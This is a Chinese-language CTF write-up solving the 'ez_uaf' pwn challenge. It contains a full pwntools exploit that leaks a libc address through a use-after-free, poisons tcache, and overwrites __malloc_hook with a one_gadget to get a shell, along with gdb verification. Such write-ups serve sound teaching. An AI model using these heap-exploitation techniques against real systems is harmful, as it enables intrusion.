[HNCTF 2022 WEEK4]ez_uaf

UAF + show 泄露 unsorted bin 地址 + libc base 计算 + tcache poisoning + 劫持 __malloc_hook + 写入 one_gadget + 触发 malloc getshell

ubuntu@niuyingying:~/ctf/pwn$ patchelf --set-interpreter /home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so ./ez_uaf
ubuntu@niuyingying:~/ctf/pwn$ patchelf --replace-needed libc.so.6 /home/niuyingying/ctf/pwn/libc-2.27.so ./ez_uaf
ubuntu@niuyingying:~/ctf/pwn$ checksec ./ez_uaf
[*] '/home/niuyingying/ctf/pwn/ez_uaf'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

保护全开,依旧菜单题

int add()
{
  __int64 v1; // rbx
  int i; // [rsp+0h] [rbp-20h]
  int v3; // [rsp+4h] [rbp-1Ch]

  for ( i = 0; i <= 15 && heaplist[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("Full!");
    return 0;
  }
  else
  {
    puts("Size:");
    v3 = getnum();
    if ( (unsigned int)v3 > 0x500 )
    {
      return puts("Invalid!");
    }
    else
    {
      heaplist[i] = malloc(0x20u);              // heaplist[i] = malloc(0x20)
      if ( !heaplist[i] )
      {
        puts("Malloc Error!");
        exit(1);
      }
      v1 = heaplist[i];
      *(_QWORD *)(v1 + 16) = malloc(v3);        // *(heaplist[i] + 0x10) = malloc(Size)
      if ( !*(_QWORD *)(heaplist[i] + 16LL) )
      {
        puts("Malloc Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 24LL) = v3;     // *(heaplist[i] + 0x18) = Size
      puts("Name: ");
      if ( !(unsigned int)read(0, (void *)heaplist[i], 0x10u) )
      {
        puts("Something error!");
        exit(1);
      }
      puts("Content:");
      if ( !(unsigned int)read(0, *(void **)(heaplist[i] + 16LL), *(int *)(heaplist[i] + 24LL)) )
      {
        puts("Error!");
        exit(1);
      }
      *(_DWORD *)(heaplist[i] + 28LL) = 1;      // *(heaplist[i] + 0x18 + 4) = 1
      return puts("Done!");
    }
  }
}
__int64 delete()
{
  __int64 result; // rax
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && *(_DWORD *)(heaplist[v1] + 28LL) )
  {
    free(*(void **)(heaplist[v1] + 16LL));
    free((void *)heaplist[v1]);
    result = heaplist[v1];
    *(_DWORD *)(result + 28) = 0;               // *(heaplist[i] + 0x18 + 4) = 0
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
  return result;
}
int show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && heaplist[v1] )
  {
    puts((const char *)heaplist[v1]);
    return puts(*(const char **)(heaplist[v1] + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}
ssize_t edit()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( v1 < 0x10 && heaplist[v1] )
    return read(0, *(void **)(heaplist[v1] + 16LL), *(int *)(heaplist[v1] + 24LL));
  puts("Error idx!");
  return 0;
}

这题的思路大致可以描述为,先通过 UAF 搭配 show() 泄露 libc 地址,再搭配 edit() 改写 tcache fd,劫持 __malloc_hookone_gadget

补充一下知识点,如果 unsorted bin 里暂时只有这一个 chunk,那么它的 fdbk 都会指向 unsorted bin 的 bin header

那么

leak = unsorted bin header
     = main_arena + 0x60
     = __malloc_hook + 0x10 + 0x60
     = __malloc_hook + 0x70

这里总结一下常见 x64 版本表

glibc 版本 unsorted bin fd/bk 指向 常见关系 libcbase 公式
glibc 2.23 main_arena + 0x58 main_arena = __malloc_hook + 0x10 leak - 0x58 - 0x10 - libc.sym['__malloc_hook']
glibc 2.24 main_arena + 0x58 main_arena = __malloc_hook + 0x10 leak - 0x68 - libc.sym['__malloc_hook']
glibc 2.25 main_arena + 0x58 main_arena = __malloc_hook + 0x10 leak - 0x68 - libc.sym['__malloc_hook']
glibc 2.26 main_arena + 0x60 main_arena = __malloc_hook + 0x10 leak - 0x70 - libc.sym['__malloc_hook']
glibc 2.27 main_arena + 0x60 main_arena = __malloc_hook + 0x10 leak - 0x70 - libc.sym['__malloc_hook']
glibc 2.28 main_arena + 0x60 main_arena = __malloc_hook + 0x10 leak - 0x70 - libc.sym['__malloc_hook']
glibc 2.29 main_arena + 0x60 main_arena = __malloc_hook + 0x10 leak - 0x70 - libc.sym['__malloc_hook']
glibc 2.30 main_arena + 0x60 main_arena = __malloc_hook + 0x10 leak - 0x70 - libc.sym['__malloc_hook']
glibc 2.31 main_arena + 0x60 main_arena = __malloc_hook + 0x10 leak - 0x70 - libc.sym['__malloc_hook']
glibc 2.32 main_arena + 0x60 hook 已经 deprecated,但一般还在 leak - 0x70 - libc.sym['__malloc_hook']
glibc 2.33 main_arena + 0x60 hook 还可能有,但不建议依赖 leak - 0x70 - libc.sym['__malloc_hook']
glibc 2.34+ main_arena + 0x60 常见 __malloc_hook/__free_hook 被移除/不再可用 不建议用 hook 公式,要直接用该 libc 的 main_arena 或 unsorted 偏移

# glibc 2.23 / 2.24 / 2.25
libcbase = leak - 0x68 - libc.sym['__malloc_hook']

# glibc 2.26 ~ 2.33
libcbase = leak - 0x70 - libc.sym['__malloc_hook']

# glibc 2.34+
# 不要依赖 __malloc_hook,直接查当前 libc 的 unsorted bin leak offset
libcbase = leak - unsorted_bin_offset

或者直接在gdb里调试看一下

pwndbg> p/x &main_arena
$1 = 0x7ffff7bebc40
pwndbg> p/x (unsigned long)&main_arena.bins[0] - 0x10
$2 = 0x7ffff7bebca0
pwndbg> p/x ((unsigned long)&main_arena.bins[0] - 0x10) - (unsigned long)&main_arena
$3 = 0x60

leak = main_arena + 0x60

还需要知道,tcache bin 是一个单向链表,fd 决定下一次 malloc 返回哪里。当我把某个 tcache chunk 的 fd 改成 __malloc_hook 附近,之后 malloc 就会把 __malloc_hook 当成“可分配 chunk”返回给我写。如果我写进去 one_gadget,下一次再调用 malloc,glibc 会执行 __malloc_hook,于是跳到 one_gadget

ubuntu@niuyingying:~/ctf/pwn$ one_gadget ./libc-2.27.so
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./ez_uaf')
libc = ELF('./libc-2.27.so')

# io = process('./ez_uaf')
io = remote("node5.anna.nssctf.cn",27281)

# io = gdb.debug('./ez_uaf', gdbscript='set pagination off\nbreakrva 0x1549\nbreakrva 0x16D8\nbreakrva 0x1603\nbreakrva 0x1782\nc')

def add(size):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"1")
    io.recvuntil(b"Size:\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"Name: \n")
    io.sendline(b"aaaa")
    io.recvuntil(b"Content:\n")
    io.sendline(b"bbbb")

def delete(i):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"2")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())

def show(i):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"3")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())

def edit(i,data):
    io.recvuntil(b"Choice: \n")
    io.sendline(b"4")
    io.recvuntil(b"Input your idx:\n")
    io.sendline(str(i).encode())
    io.sendline(data)

# 0
add(0x410)

# 1
add(0x20)

# 2
add(0x10)

delete(0)
show(0)

io.recvuntil(b"\n")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))

libc_base = leak - 0x60 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))

one_gadget = libc_base + 0x10a2fc
malloc_hook = libc_base + libc.sym['__malloc_hook']

delete(1)
edit(1,p64(malloc_hook))

# 3
add(0x10)

# 4
add(0x20)

edit(4,p64(one_gadget))

io.recvuntil(b"Choice: \n")
io.sendline(b"1")
io.recvuntil(b"Size:\n")
io.sendline(b"16")

io.interactive()

我们来看一下 one_gadget 怎么验证,可以看到

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

这一条 one_gadget 要求 [rsp+0x70] == NULL 或者 [rsp+0x70], [rsp+0x78], [rsp+0x80] ... 这一串内容能被当成合法的 argv 数组

我们在 one_gadget 执行前( ► 0 0x601e151a0782 edit+168 )看一下

 RSI  0x713d817ebc30 (__malloc_hook) —▸ 0x713d8150a2fc ◂— mov rax, qword ptr [rip + 0x2e0ba5]
pwndbg> b *0x713d8150a2fc
Breakpoint 5 at 0x713d8150a2fc
pwndbg> c
Continuing.

Breakpoint 5, 0x0000713d8150a2fc in ?? () from target:/home/niuyingying/ctf/pwn/libc-2.27.so
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────
Breakpoint hit at 0x713d8150a2fc
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*RAX  0x713d8150a2fc ◂— mov rax, qword ptr [rip + 0x2e0ba5]
 RBX  0
*RCX  0
*RDX  0
*RDI  0x20
*RSI  0x601e151a038f (add+150) ◂— mov rcx, rax
*R8   0x7ffe48daeb82 ◂— 0xa /* '\n' */
 R9   0
 R10  0x713d8159ebc0 ◂— add al, byte ptr [rax]
*R11  0xa
 R12  0x601e151a0160 (_start) ◂— endbr64
 R13  0x7ffe48daecd0 ◂— 1
 R14  0
 R15  0
 RBP  0x7ffe48daebd0 —▸ 0x7ffe48daebf0 —▸ 0x601e151a0870 (__libc_csu_init) ◂— endbr64
*RSP  0x7ffe48daeba8 —▸ 0x601e151a038f (add+150) ◂— mov rcx, rax
*RIP  0x713d8150a2fc ◂— mov rax, qword ptr [rip + 0x2e0ba5]
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
b0x713d8150a2fc    mov    rax, qword ptr [rip + 0x2e0ba5]     RAX, [0x713d817eaea8] => 0x713d817ee098 (environ) —▸ 0x7ffe48daece8 ◂— 0x7ffe48db0d08
   0x713d8150a303    lea    rsi, [rsp + 0x70]                   RSI => 0x7ffe48daec18 —▸ 0x601e151a07cb (main) ◂— endbr64
   0x713d8150a308    lea    rdi, [rip + 0xa9a79]                RDI => 0x713d815b3d88 ◂— 0x68732f6e69622f /* '/bin/sh' */
   0x713d8150a30f    mov    rdx, qword ptr [rax]                RDX, [environ] => 0x7ffe48daece8 —▸ 0x7ffe48db0d08 ◂— 'SHELL=/bin/bash'
   0x713d8150a312    call   execve                      <execve>

   0x713d8150a317    call   abort                       <abort>

   0x713d8150a31c    call   __stack_chk_fail            <__stack_chk_fail>

   0x713d8150a321    xor    edx, edx     EDX => 0
   0x713d8150a323    mov    esi, 2       ESI => 2
   0x713d8150a328    mov    edi, 1       EDI => 1
   0x713d8150a32d    xor    eax, eax     EAX => 0
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000rsp 0x7ffe48daeba8 —▸ 0x601e151a038f (add+150) ◂— mov rcx, rax
01:0008-020 0x7ffe48daebb0 ◂— 0x1000000005
02:0010-018 0x7ffe48daebb8 ◂— 0
...2 skipped
05:0028rbp 0x7ffe48daebd0 —▸ 0x7ffe48daebf0 —▸ 0x601e151a0870 (__libc_csu_init) ◂— endbr64
06:0030+008 0x7ffe48daebd8 —▸ 0x601e151a0834 (main+105) ◂— jmp main+155
07:0038+010 0x7ffe48daebe0 —▸ 0x7ffe48daecd0 ◂— 1
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
 ► 0   0x713d8150a2fc None
   1   0x7ffe48db1806 None
   2   0x7ffe48db1829 None
   3   0x7ffe48db1848 None
   4   0x7ffe48db186b None
   5   0x7ffe48db188d None
   6   0x7ffe48db18a1 None
   7   0x7ffe48db18b5 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx $rsp+0x70
0x7ffe48daec18: 0x0000601e151a07cb      0x0000000000000000
0x7ffe48daec28: 0x5829513721f8c2df      0x0000601e151a0160
0x7ffe48daec38: 0x00007ffe48daecd0      0x0000000000000000
0x7ffe48daec48: 0x0000000000000000      0x67e9eab6e918c2df
0x7ffe48daec58: 0x7a6e79870966c2df      0x00007ffe00000000
pwndbg> x/s 0x0000601e151a07cb
0x601e151a07cb <main>:  "\363\017\036\372UH\211\345H\203\354\020\270"
pwndbg>

那么可以知道

argv = (char **)(rsp + 0x70);

argv[0] = 0x0000601e151a07cb;   // 这个地址可读
argv[1] = NULL;
argv[2] = 0x5829513721f8c2df;   // 不会被看到了
argv[3] = 0x0000601e151a0160;   // 不会被看到了

即满足条件